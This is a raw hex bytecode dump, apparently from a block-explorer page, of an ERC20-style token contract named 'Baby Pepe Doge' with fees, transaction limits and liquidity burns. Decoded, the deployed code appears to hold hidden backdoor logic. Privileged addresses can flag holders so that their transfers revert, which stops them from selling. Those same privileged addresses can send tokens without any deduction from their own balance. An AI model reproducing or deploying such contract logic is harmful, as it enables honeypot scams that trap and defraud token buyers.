f0816132dd565b81146132fb57600080fd5b50565b60008135905061330d816132e7565b92915050565b6000806040838503121561332a57613329613275565b5b6000613338858286016132c8565b9250506020613349858286016132fe565b9150509250929050565b60008115159050919050565b61336881613353565b82525050565b6000602082019050613383600083018461335f565b92915050565b60006020828403121561339f5761339e613275565b5b60006133ad848285016132c8565b91505092915050565b6000819050919050565b60006133db6133d66133d18461327f565b6133b6565b61327f565b9050919050565b60006133ed826133c0565b9050919050565b60006133ff826133e2565b9050919050565b61340f816133f4565b82525050565b600060208201905061342a6000830184613406565b92915050565b613439816132dd565b82525050565b60006020820190506134546000830184613430565b92915050565b6000602082840312156134705761346f613275565b5b600061347e848285016132fe565b91505092915050565b6000806000606084860312156134a05761349f613275565b5b60006134ae868287016132c8565b93505060206134bf868287016132c8565b92505060406134d0868287016132fe565b9150509250925092565b6134e38161329f565b82525050565b60006020820190506134fe60008301846134da565b92915050565b600060ff82169050919050565b61351a81613504565b82525050565b60006020820190506135356000830184613511565b92915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b613578826131ff565b810181811067ffffffffffffffff8211171561359757613596613540565b5b80604052505050565b60006135aa61326b565b90506135b6828261356f565b919050565b600067ffffffffffffffff8211156135d6576135d5613540565b5b602082029050602081019050919050565b600080fd5b60006135ff6135fa846135bb565b6135a0565b90508083825260208201905060208402830185811115613622576136216135e7565b5b835b8181101561364b578061363788826132c8565b845260208401935050602081019050613624565b5050509392505050565b600082601f83011261366a5761366961353b565b5b813561367a8482602086016135ec565b91505092915050565b61368c81613353565b811461369757600080fd5b50565b6000813590506136a981613683565b92915050565b600080604083850312156136c6576136c5613275565b5b600083013567ffffffffffffffff8111156136e4576136e361327a565b5b6136f085828601613655565b92505060206137018582860161369a565b9150509250929050565b6000806040838503121561372257613721613275565b5b6000613730858286016132c8565b92505060206137418582860161369a565b9150509250929050565b6000806040838503121561376257613761613275565b5b6000613770858286016132c8565b9250506020613781858286016132c8565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806137d257607f821691505b6020821081036137e5576137e461378b565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006138216020836131c4565b915061382c826137eb565b602082019050919050565b6000602082019050818103600083015261385081613814565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000613891826132dd565b915061389c836132dd565b92508282026138aa816132dd565b915082820484148315176138c1576138c0613857565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000613902826132dd565b915061390d836132dd565b92508261391d5761391c6138c8565b5b828204905092915050565b7f43616e6e6f7420736574206d61785472616e73616374696f6e416d6f756e742060008201527f6c6f776572207468616e20302e31250000000000000000000000000000000000602082015250565b6000613984602f836131c4565b915061398f82613928565b604082019050919050565b600060208201905081810360008301526139b381613977565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b6000613a166028836131c4565b9150613a21826139ba565b604082019050919050565b60006020820190508181036000830152613a4581613a09565b9050919050565b6000613a57826132dd565b9150613a62836132dd565b9250828201905080821115613a7a57613a79613857565b5b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000613aba826132dd565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203613aec57613aeb613857565b5b600182019050919050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b6000613b536025836131c4565b9150613b5e82613af7565b604082019050919050565b60006020820190508181036000830152613b8281613b46565b9050919050565b7f43616e6e6f7420736574206d617857616c6c6574206c6f776572207468616e2060008201527f302e352500000000000000000000000000000000000000000000000000000000602082015250565b6000613be56024836131c4565b9150613bf082613b89565b604082019050919050565b60006020820190508181036000830152613c1481613bd8565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000613c776026836131c4565b9150613c8282613c1b565b604082019050919050565b60006020820190508181036000830152613ca681613c6a565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000613d096024836131c4565b9150613d1482613cad565b604082019050919050565b60006020820190508181036000830152613d3881613cfc565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000613d9b6022836131c4565b9150613da682613d3f565b604082019050919050565b60006020820190508181036000830152613dca81613d8e565b9050919050565b7f427579207472616e7366657220616d6f756e742065786365656473207468652060008201527f6d61785472616e73616374696f6e416d6f756e742e0000000000000000000000602082015250565b6000613e2d6035836131c4565b9150613e3882613dd1565b604082019050919050565b60006020820190508181036000830152613e5c81613e20565b9050919050565b7f4d61782077616c6c657420657863656564656400000000000000000000000000600082015250565b6000613e996013836131c4565b9150613ea482613e63565b602082019050919050565b60006020820190508181036000830152613ec881613e8c565b9050919050565b7f53656c6c207472616e7366657220616d6f756e7420657863656564732074686560008201527f206d61785472616e73616374696f6e416d6f756e742e00000000000000000000602082015250565b6000613f2b6036836131c4565b9150613f3682613ecf565b604082019050919050565b60006020820190508181036000830152613f5a81613f1e565b9050919050565b6000613f6c826132dd565b9150613f77836132dd565b9250828203905081811115613f8f57613f8e613857565b5b92915050565b6000606082019050613faa6000830186613430565b613fb76020830185613430565b613fc46040830184613430565b949350505050565b600081905092915050565b50565b6000613fe7600083613fcc565b9150613ff282613fd7565b600082019050919050565b600061400882613fda565b9150819050919050565b600081519050614021816132e7565b92915050565b60006020828403121561403d5761403c613275565b5b600061404b84828501614012565b91505092915050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006140b06025836131c4565b91506140bb82614054565b604082019050919050565b600060208201905081810360008301526140df816140a3565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006141426023836131c4565b915061414d826140e6565b604082019050919050565b6000602082019050818103600083015261417181614135565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b60006141d46026836131c4565b91506141df82614178565b604082019050919050565b60006020820190508181036000830152614203816141c7565b9050919050565b600081519050614219816132b1565b92915050565b60006020828403121561423557614234613275565b5b60006142438482850161420a565b91505092915050565b6000819050919050565b600061427161426c6142678461424c565b6133b6565b6132dd565b9050919050565b61428181614256565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b6142bc8161329f565b82525050565b60006142ce83836142b3565b60208301905092915050565b6000602082019050919050565b60006142f282614287565b6142fc8185614292565b9350614307836142a3565b8060005b8381101561433857815161431f88826142c2565b975061432a836142da565b92505060018101905061430b565b5085935050505092915050565b600060a08201905061435a6000830188613430565b6143676020830187614278565b818103604083015261437981866142e7565b905061438860608301856134da565b6143956080830184613430565b9695505050505050565b600060c0820190506143b460008301896134da565b6143c16020830188613430565b6143ce6040830187614278565b6143db6060830186614278565b6143e860808301856134da565b6143f560a0830184613430565b979650505050505050565b60008060006060848603121561441957614418613275565b5b600061442786828701614012565b935050602061443886828701614012565b925050604061444986828701614012565b915050925092509256fea26469706673582212205ebcc5646ff7e0007ca52971f1fb88207f23b1167bf44ae45e8058f2cf315eab64736f6c63430008130033000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c00000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d0000000000000000000000006f6f7d3f37f52f2c048ca527bdd0be21bed23893000000000000000000000000000000000000000000000000000000000000000e42616279205065706520446f6765000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000e42616279205065706520446f6765000000000000000000000000000000000000

Deployed Bytecode

0x6080604052600436106102815760003560e01c8063799726e11161014f578063b62496f5116100c1578063e2f456051161007a578063e2f45605146109dd578063e5c96aa414610a08578063f11a24d314610a31578063f2fde38b14610a5c578063f637434214610a85578063f8b45b0514610ab057610288565b8063b62496f5146108b9578063b892a189146108f6578063c18bc19514610921578063c8c8ebe41461094a578063d85ba06314610975578063dd62ed3e146109a057610288565b80639d1f645a116101135780639d1f645a146107955780639ec22c0e146107be578063a26bfdef146107e9578063a457c2d714610814578063a4c82a0014610851578063a9059cbb1461087c57610288565b8063799726e1146106c05780637bce5a04146106e95780638da5cb5b14610714578063921369131461073f57806395d89b411461076a57610288565b806327c8f835116101f35780634a62bb65116101ac5780634a62bb65146105ae5780634fbee193146105d95780636a486a8e1461061657806370a0823114610641578063715018a61461067e57806375f0a8741461069557610288565b806327c8f8351461049a5780632c3e486c146104c55780632e82f1a0146104f0578063313ce5671461051b578063395093511461054657806349bd5a5e1461058357610288565b8063184c16c511610245578063184c16c514610388578063199ffc72146103b35780631a8145bb146103de5780631f3fed8f14610409578063203e727e1461043457806323b872dd1461045d57610288565b806306fdde031461028d578063095ea7b3146102b857806310d5de53146102f55780631694505e1461033257806318160ddd1461035d57610288565b3661028857005b600080fd5b34801561029957600080fd5b506102a2610adb565b6040516102af9190613249565b60405180910390f35b3480156102c457600080fd5b506102df60048036038101906102da9190613313565b610b6d565b6040516102ec919061336e565b60405180910390f35b34801561030157600080fd5b5061031c60048036038101906103179190613389565b610b8b565b604051610329919061336e565b60405180910390f35b34801561033e57600080fd5b50610347610bab565b6040516103549190613415565b60405180910390f35b34801561036957600080fd5b50610372610bcf565b60405161037f919061343f565b60405180910390f35b34801561039457600080fd5b5061039d610bd9565b6040516103aa919061343f565b60405180910390f35b3480156103bf57600080fd5b506103c8610bdf565b6040516103d5919061343f565b60405180910390f35b3480156103ea57600080fd5b506103f3610be5565b604051610400919061343f565b60405180910390f35b34801561041557600080fd5b5061041e610beb565b60405161042b919061343f565b60405180910390f35b34801561044057600080fd5b5061045b6004803603810190610456919061345a565b610bf1565b005b34801561046957600080fd5b50610484600480360381019061047f9190613487565b610d1b565b604051610491919061336e565b60405180910390f35b3480156104a657600080fd5b506104af610e13565b6040516104bc91906134e9565b60405180910390f35b3480156104d157600080fd5b506104da610e19565b6040516104e7919061343f565b60405180910390f35b3480156104fc57600080fd5b50610505610e1f565b604051610512919061336e565b60405180910390f35b34801561052757600080fd5b50610530610e32565b60405161053d9190613520565b60405180910390f35b34801561055257600080fd5b5061056d60048036038101906105689190613313565b610e3b565b60405161057a919061336e565b60405180910390f35b34801561058f57600080fd5b50610598610ee7565b6040516105a591906134e9565b60405180910390f35b3480156105ba57600080fd5b506105c3610f0b565b6040516105d0919061336e565b60405180910390f35b3480156105e557600080fd5b5061060060048036038101906105fb9190613389565b610f1e565b60405161060d919061336e565b60405180910390f35b34801561062257600080fd5b5061062b610f74565b604051610638919061343f565b60405180910390f35b34801561064d57600080fd5b5061066860048036038101906106639190613389565b610f7a565b604051610675919061343f565b60405180910390f35b34801561068a57600080fd5b50610693610fc2565b005b3480156106a157600080fd5b506106aa61111a565b6040516106b791906134e9565b60405180910390f35b3480156106cc57600080fd5b506106e760048036038101906106e291906136af565b611140565b005b3480156106f557600080fd5b506106fe61121e565b60405161070b919061343f565b60405180910390f35b34801561072057600080fd5b50610729611224565b60405161073691906134e9565b60405180910390f35b34801561074b57600080fd5b5061075461124e565b604051610761919061343f565b60405180910390f35b34801561077657600080fd5b5061077f611254565b60405161078c9190613249565b60405180910390f35b3480156107a157600080fd5b506107bc60048036038101906107b7919061370b565b6112e6565b005b3480156107ca57600080fd5b506107d36113d8565b6040516107e0919061343f565b60405180910390f35b3480156107f557600080fd5b506107fe6113de565b60405161080b919061336e565b60405180910390f35b34801561082057600080fd5b5061083b60048036038101906108369190613313565b611499565b604051610848919061336e565b60405180910390f35b34801561085d57600080fd5b50610866611584565b604051610873919061343f565b60405180910390f35b34801561088857600080fd5b506108a3600480360381019061089e9190613313565b61158a565b6040516108b0919061336e565b60405180910390f35b3480156108c557600080fd5b506108e060048036038101906108db9190613389565b6115a8565b6040516108ed919061336e565b60405180910390f35b34801561090257600080fd5b5061090b6115c8565b604051610918919061343f565b60405180910390f35b34801561092d57600080fd5b506109486004803603810190610943919061345a565b6115ce565b005b34801561095657600080fd5b5061095f6116d2565b60405161096c919061343f565b60405180910390f35b34801561098157600080fd5b5061098a6116d8565b604051610997919061343f565b60405180910390f35b3480156109ac57600080fd5b506109c760048036038101906109c2919061374b565b6116de565b6040516109d4919061343f565b60405180910390f35b3480156109e957600080fd5b506109f2611765565b6040516109ff919061343f565b60405180910390f35b348015610a1457600080fd5b50610a2f6004803603810190610a2a919061370b565b61176b565b005b348015610a3d57600080fd5b50610a4661185d565b604051610a53919061343f565b60405180910390f35b348015610a6857600080fd5b50610a836004803603810190610a7e9190613389565b611863565b005b348015610a9157600080fd5b50610a9a611a29565b604051610aa7919061343f565b60405180910390f35b348015610abc57600080fd5b50610ac5611a2f565b604051610ad2919061343f565b60405180910390f35b606060038054610aea906137ba565b80601f0160208091040260200160405190810160405280929190818152602001828054610b16906137ba565b8015610b635780601f10610b3857610100808354040283529160200191610b63565b820191906000526020600020905b815481529060010190602001808311610b4657829003601f168201915b5050505050905090565b6000610b81610b7a611a35565b8484611a3d565b6001905092915050565b601b6020528060005260406000206000915054906101000a900460ff1681565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d81565b6000600254905090565b600e5481565b600b5481565b60175481565b60165481565b610bf9611a35565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c88576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c7f90613837565b60405180910390fd5b670de0b6b3a76400006103e86001610c9e610bcf565b610ca89190613886565b610cb291906138f7565b610cbc91906138f7565b811015610cfe576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cf59061399a565b60405180910390fd5b670de0b6b3a764000081610d129190613886565b60088190555050565b6000610d28848484611c06565b6000600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610d73611a35565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610df3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dea90613a2c565b60405180910390fd5b610e0785610dff611a35565b858403611a3d565b60019150509392505050565b61dead81565b600c5481565b600a60009054906101000a900460ff1681565b60006009905090565b6000610edd610e48611a35565b848460016000610e56611a35565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610ed89190613a4c565b611a3d565b6001905092915050565b7f000000000000000000000000f1a6e5431baf5ef85b1e85006b03c26f548a224081565b601960009054906101000a900460ff1681565b6000601a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b60135481565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610fca611a35565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611059576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161105090613837565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000601d60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054111561121a5760005b82518110156112185781601e60008584815181106111ac576111ab613a80565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061121090613aaf565b91505061118b565b505b5050565b60115481565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60145481565b606060048054611263906137ba565b80601f016020809104026020016040519081016040528092919081815260200182805461128f906137ba565b80156112dc5780601f106112b1576101008083540402835291602001916112dc565b820191906000526020600020905b8154815290600101906020018083116112bf57829003601f168201915b5050505050905090565b6112ee611a35565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461137d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161137490613837565b60405180910390fd5b80601b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b600f5481565b60006113e8611a35565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611477576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161146e90613837565b60405180910390fd5b6000601960006101000a81548160ff0219169083151502179055506001905090565b600080600160006114a8611a35565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015611565576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161155c90613b69565b60405180910390fd5b611579611570611a35565b85858403611a3d565b600191505092915050565b600d5481565b600061159e611597611a35565b8484611c06565b6001905092915050565b601c6020528060005260406000206000915054906101000a900460ff1681565b60185481565b6115d6611a35565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611665576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161165c90613837565b60405180910390fd5b60058110156116a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116a090613bfb565b60405180910390fd5b6103e86116b4610bcf565b826116bf9190613886565b6116c991906138f7565b60098190555050565b60085481565b60105481565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60075481565b611773611a35565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611802576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117f990613837565b60405180910390fd5b80601a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b60125481565b61186b611a35565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146118fa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118f190613837565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603611969576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161196090613c8d565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60155481565b60095481565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611aac576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611aa390613d1f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611b1b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b1290613db1565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611bf9919061343f565b60405180910390a3505050565b601960009054906101000a900460ff161561200c57611c23611224565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611c915750611c61611224565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611cca5750600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611d04575061dead73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611d1d5750600560149054906101000a900460ff16155b1561200b57601c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015611dc55750601b60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611e6c57600854811115611e0f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e0690613e43565b60405180910390fd5b600954611e1b83610f7a565b82611e269190613a4c565b1115611e67576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e5e90613eaf565b60405180910390fd5b61200a565b601c60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015611f0f5750601b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611f5e57600854811115611f59576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f5090613f41565b60405180910390fd5b612009565b601b60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1661200857600954611fbb83610f7a565b82611fc69190613a4c565b1115612007576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ffe90613eaf565b60405180910390fd5b5b5b5b5b5b600061201730610f7a565b90506000600754821015905080801561203d5750600560149054906101000a900460ff16155b80156120935750601c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156120e95750601a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561213f5750601a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15612183576001600560146101000a81548160ff021916908315150217905550612167612802565b6000600560146101000a81548160ff0219169083151502179055505b600560149054906101000a900460ff161580156121e95750601c60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b80156122015750600a60009054906101000a900460ff165b801561221c5750600c54600d546122189190613a4c565b4210155b80156122725750601a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156122815761227f612a0f565b505b6000600560149054906101000a900460ff16159050601a60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806123375750601a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561234157600090505b6000811561255457601c60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156123a457506000601354115b1561243e576123d160646123c360135488612bd590919063ffffffff16565b612beb90919063ffffffff16565b9050601354601554826123e49190613886565b6123ee91906138f7565b601760008282546123ff9190613a4c565b92505081905550601354601454826124179190613886565b61242191906138f7565b601660008282546124329190613a4c565b92505081905550612530565b601c60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16801561249957506000601054115b1561252f576124c660646124b860105488612bd590919063ffffffff16565b612beb90919063ffffffff16565b9050601054601254826124d99190613886565b6124e391906138f7565b601760008282546124f49190613a4c565b925050819055506010546011548261250c9190613886565b61251691906138f7565b601660008282546125279190613a4c565b925050819055505b5b600081111561254557612544873083612c01565b5b80856125519190613f61565b94505b6000601d60008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541480156125ef57508673ffffffffffffffffffffffffffffffffffffffff167f000000000000000000000000f1a6e5431baf5ef85b1e85006b03c26f548a224073ffffffffffffffffffffffffffffffffffffffff1614155b80156126445750601e60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156126a257601854601d60008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461269a9190613f61565b925050819055505b6000601d60008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020540361273f57846000808973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546127379190613f61565b925050819055505b846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461278d9190613a4c565b925050819055508573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef876040516127f1919061343f565b60405180910390a350505050505050565b600061280d30610f7a565b905060006016546017546128219190613a4c565b90506000808314806128335750600082145b1561284057505050612a0d565b601460075461284f9190613886565b8311156128685760146007546128659190613886565b92505b60006002836017548661287b9190613886565b61288591906138f7565b61288f91906138f7565b905060006128a68286612e8090919063ffffffff16565b905060004790506128b682612e96565b60006128cb8247612e8090919063ffffffff16565b905060006128f6876128e860165485612bd590919063ffffffff16565b612beb90919063ffffffff16565b9050600081836129069190613f61565b9050600060178190555060006016819055506000861180156129285750600081115b156129755761293786826130d3565b7f17bbfb9a6069321b6ded73bd96327c9e6b7212a5cd51ff219cd61370acafb561858260175460405161296c93929190613f95565b60405180910390a15b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16476040516129bb90613ffd565b60006040518083038185875af1925050503d80600081146129f8576040519150601f19603f3d011682016040523d82523d6000602084013e6129fd565b606091505b5050809750505050505050505050505b565b600042600d8190555060003073ffffffffffffffffffffffffffffffffffffffff166370a082317f000000000000000000000000f1a6e5431baf5ef85b1e85006b03c26f548a22406040518263ffffffff1660e01b8152600401612a7391906134e9565b602060405180830381865afa158015612a90573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612ab49190614027565b90506000612ae1612710612ad3600b5485612bd590919063ffffffff16565b612beb90919063ffffffff16565b90506000811115612b1a57612b197f000000000000000000000000f1a6e5431baf5ef85b1e85006b03c26f548a224061dead83612c01565b5b60007f000000000000000000000000f1a6e5431baf5ef85b1e85006b03c26f548a224090508073ffffffffffffffffffffffffffffffffffffffff1663fff6cae96040518163ffffffff1660e01b8152600401600060405180830381600087803b158015612b8757600080fd5b505af1158015612b9b573d6000803e3d6000fd5b505050507f454c91ae84fcc766ddda0dcb289f26b3d0176efeacf4061fc219fa6ca8c3048d60405160405180910390a16001935050505090565b60008183612be39190613886565b905092915050565b60008183612bf991906138f7565b905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603612c70576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612c67906140c6565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603612cdf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612cd690614158565b60405180910390fd5b612cea8383836131af565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015612d70576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612d67906141ea565b60405180910390fd5b8181036000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254612e039190613a4c565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051612e67919061343f565b60405180910390a3612e7a8484846131b4565b50505050565b60008183612e8e9190613f61565b905092915050565b6000600267ffffffffffffffff811115612eb357612eb2613540565b5b604